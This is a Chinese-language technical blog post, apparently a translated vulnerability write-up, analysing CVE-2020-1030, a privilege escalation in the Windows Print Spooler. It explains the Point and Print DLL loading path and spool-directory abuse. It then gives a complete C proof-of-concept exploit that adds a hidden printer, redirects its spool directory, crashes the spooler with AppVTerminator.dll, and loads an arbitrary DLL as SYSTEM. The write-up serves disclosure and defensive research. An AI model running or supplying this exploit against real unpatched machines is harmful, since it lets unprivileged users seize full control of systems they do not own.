access 打印预览 代码_CVE20201030:Windows打印假脱机处理程序特权提升漏洞分析

9fbf1cd61fe95900ba82066f98358757.png 点击上方 蓝字 关注我们 2020年5月,FusionX安全研究人员向微软安全响应中心上报了一个特权提升漏洞(CVE-2020-1030)。该漏洞影响Windows假脱机打印服务(Print Spooler)中实现的应用程序逻辑。非特权用户可以利用该漏洞执行特权提升,以SYSTEM身份执行任意代码。该漏洞利用串接了多个原语,以将任意DLL加载到假脱机打印进程中。这篇文章详细介绍了技术细节,以及漏洞利用程序的开发过程。

获得打印机句柄

当用户将打印机添加到Windows系统时,该漏洞就会出现。默认情况下,用户不需要具备管理员权限就可以添加打印机,但这仅适用于打印机使用预安装或收件箱驱动程序。以下代码通过Microsoft Print To PDF驱动程序添加打印机。 6375ddfcb7296563b6dd17b935d1e182.png 图1. 使用Microsoft Print To PDF驱动程序添加本地打印机 调用AddPrinter将返回具有PRINTER_ALL_ACCESS权限的打印机句柄,从而授予对标准和管理打印操作的访问权限。Microsoft的文档中进一步概述了这种行为:
AddPort函数的调用方必须具有访问其创建的打印服务器的SERVER_ACCESS_ADMINISTER权限。该函数返回的句柄将具有PRINTER_ALL_ACCESS权限,并可用于在打印机上执行管理操作。

非特权用户拥有SERVER_ACCESS_ADMINISTER权限似乎不合逻辑,但这是根据打印服务器安全性属性进行的预期配置(图2)。INTERACTIVE安全标识符启用了“管理服务器”权限,该权限对应于SERVER_ACCESS_ADMINISTER。拥有这些权限子集的人称为委派的打印管理员。

c138fe9686a052ac5661a39d9b11d4f2.png

图2. INTERACTIVE安全标识符的打印服务器权限

由于AddPrinter而导致的打印机句柄引入了假脱机API,这些假脱机程序API无法从非特权上下文访问。但是,管理访问仅限于打印机对象,从而限制了我们可以使用的功能。接下来的部分将演示如何利用句柄破坏应用程序的逻辑。

指向并打印:包含错误的路径可能会引发问题

指向并打印是专为驱动程序分发而设计的打印机共享技术之一。在“指向并打印”中,会自动从打印服务器中下载驱动程序(v4之前的版本)和配置文件。使用定制的指向并打印DLL可以扩展安装。该库是通过在打印机的配置中定义CopyFiles注册表项来实现的。 打印机配置作为单独的子项存储在 HKLM\Software\Microsoft\Windows NT\CurrentVersion\Print\Printers 下。 假脱机打印程序 提供用于管理配置数据的API,如EnumPrinterDataGetPrinterDataSetPrinterDataDeletePrinterData。这些功能在下面执行相对于打印机密钥的注册表操作。 我们可以使用SetPrinterData,及其扩展版本SetPrinterDataEx修改打印机的配置。这些功能需要带有PRINTER_ACCESS_ADMINISTER的打印机句柄。 用户可以通过使用OpenPrinterAddPrinter之类的函数检索句柄。 7122f1f89d226af6b22f247e7e600763.png 图3. 将指向并打印DLL分配给打印机配置 带有CopyFiles注册表项的SetPrinterDataEx,导致假脱机程序自动加载在Module值中分配的指向并打印DLL(图3)。当pszKeyName以 CopyFiles\ 字符串开头时,将触发此事件(图4)。它会启动一系列导致LoadLibraryLoadLibraryEx的函数—用于将DLL映射到当前进程中的Windows API。 35d4e2e92df8dd51216159908dcb93b5.png 图4. SplSetPrinterDataEx检查“CopyFiles”注册表项 控制流由以下事件组成:
  1. spoolsv!SetPrinterDataEx路由到本地打印提供程序中的SplSetPrinterDataExdll

  2. localspl!SplSetPrinterDataEx在还原SYSTEM上下文和通过localspl!SplRegSetValue修改注册表之前会先验证权限

  3. 如果pszKeyName参数以CopyFiles\ 字符串开头,则localspl!SplCopyFileEvent将被调用

  4. localspl!SplCopyFileEvent 从打印机的CopyFiles注册表项中读取Module值,并将字符串传递给localspl!SplLoadLibraryTheCopyFileModule

  5. localspl!SplLoadLibraryTheCopyFileModule将exe进程的当前目录设置为System32

  6. localspl!SplLoadLibraryTheCopyFileModule使用localspl!MakeCanonicalPathlocalspl!IsModuleFilePathAllowed执行验证,然后尝试使用LoadLibrary加载模块

  7. 如果验证或LoadLibrary失败,则从localspl!GetIniDriverAndDirForThisMachineEx检索替代路径,并使用LOAD_WITH_ALTERED_SEARCH_PATH调用LoadLibraryEx

da14ab205979a5405aae3bebd0da4660.png

图5. 本地打印提供程序(localspl.dll)中SetPrinterDataEx的控制流

aefdf379bdc3a228f3309790341d8c70.png

图6. SplLoadLibraryTheCopyFileModule的控制流程图

假脱机打印程序最初尝试从系统目录中加载指向并打印DLL。如果失败,它将使用假脱机程序、驱动程序、环境和驱动程序版本目录中的新路径进行其他尝试。我们可以通过故意使用无效模块调用SetPrinterDataEx来观察此行为。

9d339d37ecae5ec03906ef9dc0a198f1.png

图7. 指向并打印DLL的搜索路径

加载指向并打印DLL时,假脱机打印程序将搜索以下路径:

  1. %SYSTEMROOT%\System32

  2. %SYSTEMROOT%\System32\spool\drivers\\

注意图6中的PATH NOT FOUND结果,该路径引用版本4中的驱动程序目录。基于我们的测试,Windows系统上没有版本4驱动程序目录。缺少它可能与Windows 8和Windows Server 2012中引入v4驱动程序模型相对应。

如果我们可以创建具有读写权限的目录,则缺少的路径表示存在潜在的代码执行机会。然后可以将任意DLL放置到文件路径中,并通过SetPrinterDataEx调用。不幸的是,环境目录(x64)从其父目录继承了其DACL,从而阻止了非特权用户简单地创建的错误路径。

332c4c2b1a81c40ab0010f581cbe9997.png

图8. x64驱动程序目录的内容

1e86bf06fc8d5233f1f20b5eb93c23b7.png

图9. x64驱动程序目录的DACL

假脱机目录:仔细查看详细信息

当用户打印文档时,将打印作业存储在硬盘里的假脱机目录中。该目录默认位于C:\Windows\System32\spool\PRINTERS。为了保持关联性,需要注意两个重要方面:

  1. 假脱机目录必须允许所有用户使用WriteData权限

  2. 假脱机目录可在每台打印机上配置

02269ee5113cddc4383d73635d0c9472.png

图10. 默认假脱机目录的注册表值和DAC

通过在打印机的注册表项中定义SpoolDirectory值,可以支持各个假脱机打印目录。如果未指定,则打印机将映射到DefaultSpoolDirectory。当localspl!SplCreateSpooler调用localspl!BuildPrinterInfo时,将创建(或映射)假脱机目录。仅在假脱机程序服务初始化时才能观察到这种情况。因此,在重新启动服务之前,不会反映对打印机的假脱机目录的更改。接下来将回顾假脱机程序的初始化。

5eac02f47cf3d2c48a193ce0cb914e88.png

图11. 打印机假脱机目录的注册表值

创建打印机对象(图1)后,我们将利用返回的句柄调用SetPrinterDataEx并配置打印机的假脱机目录。注意,SetPrinterDataEx需要管理员权限,该权限由句柄的PRINTER_ALL_ACCESS访问权限提供。

c20d618713f03a07ef1fd3d5316cc4fb.png

图12. 将假脱机目录分配给打印机配置

打印假脱机程序服务和初始化:终止时间

打印假脱机程序服务必须重新初始化,以使假脱机打印目录生效。标准用户被强制重新启动系统服务,因此仅限于两个选项:

  1. 等待系统或服务重启

  2. 使用非常规方法强制重启服务

目前为止,我们的工作集中在加载任意指向并打印库上。但是,仅当我们要加载任意DLL时才需要这样做。我们的代码执行原语完全适用于System32目录中的现有文件(并且没有其他规定)。

输入AppVTerminator.dll,该库是Windows中包含的签名的Microsoft二进制文件(已在Windows 10上确认)。当加载到假脱机程序中时,库将调用TerminateProcess以杀死spoolsv.exe进程。该事件将触发服务控制管理器中的恢复机制,依次启动新的假脱机程序进程。

57cefca12ea119f48d829192241e64e4.png

图13.  AppVTerminator.dll的控制流程图

ef9a4c5768ab8e80a93def81579428ec.png

图14.  打印假脱机服务的默认恢复配置

我们可以利用SetPrinterDataExAppVTerminator.dll设置为指向并打印DLL。指定Module值名称将调用“指向并打印”行为。由于加载了库,spoolsv.exe服务将立即重新启动。

重新启动服务后,假脱机程序初始化可能会延迟几秒钟到几分钟。这可能会给时间敏感的操作造成一些不便。在评估了几种API之后,发现使用EnumPrinters调用localspl!BuildPrinterInfo最可靠。执行EnumPrinters会引发以下调用链:

  1. spoolsv!PrvEnumPrinters获取并设置RouterPreInitEvent事件(spoolsv!WaitForSpoolerInitialization)

  2. spoolsv!SpoolerInitializeSpooler中创建RouterPreInitEvent,并在spoolsv!PreInitializeRouter中等待

  3. 设置事件后,将调用spoolsv!InitializeRouter

  4. 此例程将初始化打印提供程序,并首先以dll开始。它调用LoadLibrary加载DLL,然后获取并调用InitializePrintProvidor函数。

  5. localspl!InitializePrintProvidor最终调用 localspl!SplCreateSpooler,后者依次调用localspl!BuildPrinterInfo

  6. localspl!BuildPrinterInfo有效地建立本地打印机信息线轴

我们的概念证明(PoC)实现了一些逻辑来监视服务和假脱机目录。这些线程启动后,我们将向EnumPrinters发出多个调用以加速初始化。

在服务初始化代码执行时获取句柄,将使用SECURITY_DESCRIPTOR授予所有用户具有WriteData权限的假脱机目录(spool\drivers\x64\4)。这允许我们将有效载荷移动到目录中。

有效载荷(模仿指向并打印DLL)必须导出SpoolerCopyFileEvent函数。一旦模块加载到进程中,将调用此函数。

91fc0f172c5aaf712464312bad7b4c09.png

图15. Point and Print DLL中的导出功能

为了获得代码执行,我们使用OpenPrinter来请求现有打印机对象的句柄(图1)。再次调用SetPrinterDataEx以触发有效载荷进行指向并打印。图16显示了发送到LoadLibraryEx的文件路径参数,该参数负责将模块加载到spoolsv.exe进程中。

5289d88cdbf3eac6bab59d375d9bc304.png

图16. 使用有效载荷文件路径调用LoadLibraryExW

概念验证代码(PoC)

#include #include #include int ThreadSpoolerSvc(LPVOID pProcessName){    HANDLE hSnapshot;    PROCESSENTRY32 entry;    entry.dwSize = sizeof(PROCESSENTRY32);    while (TRUE)    {        hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);        if (!Process32First(hSnapshot, &entry))        {            CloseHandle(hSnapshot);            return -1;        }        do        {            if (!_wcsicmp(entry.szExeFile, (LPWSTR)pProcessName))            {                CloseHandle(hSnapshot);                return 0;            }        }        while (Process32Next(hSnapshot, &entry));        CloseHandle(hSnapshot);        Sleep(1000);    }    return -1;}intThreadSpoolerDir(LPVOID pDirectory){    HANDLE hChange;    DWORD dwWaitStatus;    DWORD dwAttributes;    DWORD dwIndex;    WCHAR szParentDir[MAX_PATH];    dwIndex = (DWORD)(wcsrchr((LPWSTR)pDirectory, L'\\') - (LPWSTR)pDirectory);    wcsncpy_s(szParentDir, MAX_PATH, (LPWSTR)pDirectory, dwIndex);    hChange = FindFirstChangeNotification(szParentDir, FALSE, FILE_NOTIFY_CHANGE_DIR_NAME);    if (hChange == INVALID_HANDLE_VALUE || hChange == NULL)    {        return -1;    }    while (hChange)    {        dwWaitStatus = WaitForSingleObject(hChange, INFINITE);        if (dwWaitStatus == WAIT_OBJECT_0)        {            dwAttributes = GetFileAttributes((LPWSTR)pDirectory);            if (dwAttributes != INVALID_FILE_ATTRIBUTES && (dwAttributes & FILE_ATTRIBUTE_DIRECTORY))            {                break;            }        }        if (!FindNextChangeNotification(hChange))        {            break;        }    }    if (hChange)    {        FindCloseChangeNotification(hChange);    }    return 0;}intThreadSpoolerInit(void){    DWORD cReturned;    DWORD cbNeeded;    DWORD dwError;    for (int i = 1; i <= 30; i++)    {        Sleep(1000);        if (!EnumPrinters(PRINTER_ENUM_LOCAL, NULL, 2, NULL, 0, &cbNeeded, &cReturned))        {            dwError = GetLastError();            if (dwError == RPC_S_SERVER_UNAVAILABLE)            {                continue;            }        }        break;    }    return 0;}int main (    int argc,    char *argv[]    ){    PRINTER_DEFAULTS printerDefaults;    PRINTER_INFO_2 printerInfo;    HANDLE hPrinter;    HANDLE hThreadSpoolerSvc;    HANDLE hThreadSpoolerDir;    HANDLE hThreadSpoolerInit;    DWORD dwStatus = -1;    DWORD cbData;    DWORD dwAttributes;    WCHAR szDll[MAX_PATH];    WCHAR szSource[MAX_PATH];    WCHAR szDestination[MAX_PATH];    LPWSTR pszFileName;    LPWSTR pszPrinterName = L"CVE-2020-1030";    LPWSTR pszDriverPath = L"C:\\Windows\\System32\\spool\\drivers\\x64\\4";    LPWSTR pszTerminator = L"C:\\Windows\\System32\\AppVTerminator.dll";    memset(&printerInfo, 0, sizeof(printerInfo));    printerInfo.pPrinterName = pszPrinterName;    printerInfo.pDriverName = L"Microsoft Print To PDF";    printerInfo.pPortName = L"PORTPROMPT:";    printerInfo.pPrintProcessor = L"winprint";    printerInfo.pDatatype = L"RAW";    printerInfo.Attributes = PRINTER_ATTRIBUTE_HIDDEN;    hPrinter = AddPrinter(NULL, 2, (LPBYTE)&printerInfo);    if (hPrinter == NULL)    {        printf("Failed: AddPrinter(), %ls. Error: %d\n", pszPrinterName, GetLastError());        ClosePrinter(hPrinter);        return -1;    }    // Set SpoolDirectory to v4 driver directory    cbData = ((DWORD)wcslen(pszDriverPath) + 1) * sizeof(WCHAR);    dwStatus = SetPrinterDataEx(hPrinter, L"\\", L"SpoolDirectory", REG_SZ, (LPBYTE)pszDriverPath, cbData);        if (dwStatus != ERROR_SUCCESS)    {        printf("Failed: SetPrinterDataEx(), SpoolDirectory. Error: %d\n", GetLastError());        ClosePrinter(hPrinter);        return -1;    }    // Check if AppVTerminator.dll exists    dwAttributes = GetFileAttributes(pszTerminator);    if (dwAttributes == INVALID_FILE_ATTRIBUTES)    {        printf("Failed: GetFileAttributes(), %ls. Error: %d\n", pszTerminator, GetLastError());        ClosePrinter(hPrinter);        return -1;    }    // Call LoadLibraryEx (localspl!SplLoadLibraryTheCopyFileModule) with AppVTerminator.dll    // This will immediately terminate spoolsv.exe and SetPrinterDataEx will fail (RPC_S_CALL_FAILED)    cbData = ((DWORD)wcslen(L"AppVTerminator.dll") + 1) * sizeof(WCHAR);    dwStatus = SetPrinterDataEx(hPrinter, L"CopyFiles\\Payload", L"Module", REG_SZ, (LPBYTE)L"AppVTerminator.dll", cbData);    if (dwStatus != RPC_S_CALL_FAILED)    {        printf("Failed: SetPrinterDataEx(), %ls. Error: %d\n", L"AppVTerminator.dll", GetLastError());        ClosePrinter(hPrinter);        return -1;    }    // Monitor spoolsv.exe process creation, timeout = 30 seconds    if ((hThreadSpoolerSvc = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadSpoolerSvc, L"spoolsv.exe", 0, NULL)) == NULL)    {        printf("Failed: CreateThread(), ThreadSpoolerSvc. Error: %d\n", GetLastError());        ClosePrinter(hPrinter);        return -1;    }    dwStatus = WaitForSingleObject(hThreadSpoolerSvc, 30000);    if (dwStatus != WAIT_OBJECT_0)    {        printf("Failed: WaitForSingleObject(), hThreadSpoolerSvc. Error: %d\n", GetLastError());        ClosePrinter(hPrinter);        return -1;    }    // Skip spooler initialization if spool directory exists    dwAttributes = GetFileAttributes(pszDriverPath);    if (dwAttributes != INVALID_FILE_ATTRIBUTES && (dwAttributes & FILE_ATTRIBUTE_DIRECTORY))    {        goto Move;    }    // Monitor spool directory creation    hThreadSpoolerDir = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadSpoolerDir, pszDriverPath, 0, NULL);    if (hThreadSpoolerDir == NULL)    {        printf("Failed: CreateThread(), ThreadSpoolerDir. Error: %d\n", GetLastError());        ClosePrinter(hPrinter);        return -1;    }    // Force spooler initialization by calling localspl!BuildPrinterInfo via EnumPrinters    hThreadSpoolerInit = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadSpoolerInit, NULL, 0, NULL);    if (hThreadSpoolerInit == NULL)    {        printf("Failed: CreateThread(), ThreadSpoolerInit. Error: %d\n", GetLastError());        ClosePrinter(hPrinter);        return -1;    }    // Wait for spooler directory; timeout = 5 minutes    dwStatus = WaitForSingleObject(hThreadSpoolerDir, 5 * 60 * 1000);    if (dwStatus != WAIT_OBJECT_0)    {        printf("Warning: WaitForSingleObject(), hThreadSpoolerDir. Error: Timer expired\n");        ClosePrinter(hPrinter);        return -1;    }Move:    // Move payload to spool directory    mbstowcs_s(NULL, szDll, strlen(argv[1]) + 1, argv[1], MAX_PATH);    GetFullPathName(szDll, MAX_PATH, szSource, &pszFileName);    wcscpy_s(szDestination, MAX_PATH, pszDriverPath);    wcscat_s(szDestination, MAX_PATH, L"\\");    wcscat_s(szDestination, MAX_PATH, pszFileName);    if (!MoveFile(szSource, szDestination))    {        printf("Failed: MoveFile(), Src: %ls, Dst: %ls. Error: %d\n", szSource, szDestination, GetLastError());        ClosePrinter(hPrinter);        return -1;    }    // Get printer handle    memset(&printerDefaults, 0, sizeof(printerDefaults));    printerDefaults.DesiredAccess  = PRINTER_ALL_ACCESS;    if (!OpenPrinter(pszPrinterName, &hPrinter, &printerDefaults))    {        printf("Failed: OpenPrinter(), %ls. Error: %d\n", pszPrinterName, GetLastError());        ClosePrinter(hPrinter);        return -1;    }    // Call LoadLibraryEx (localspl!SplLoadLibraryTheCopyFileModule) with our payload    cbData = ((DWORD)wcslen(szDestination) + 1) * sizeof(WCHAR);    dwStatus = SetPrinterDataEx(hPrinter, L"CopyFiles\\Payload", L"Module", REG_SZ, (LPBYTE)szDestination, cbData);        if (dwStatus != ERROR_SUCCESS)    {        printf("Failed: SetPrinterDataEx(), %ls. Error: %d\n", szDestination, GetLastError());        ClosePrinter(hPrinter);        return -1;    }    ClosePrinter(hPrinter);    return 0;}
0fbe54ce8d8caa79fbc1ec6fe6520fea.png

END

3ec03214835035ac9ea6a01fe9c57f6e.png

好文!必须在看
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值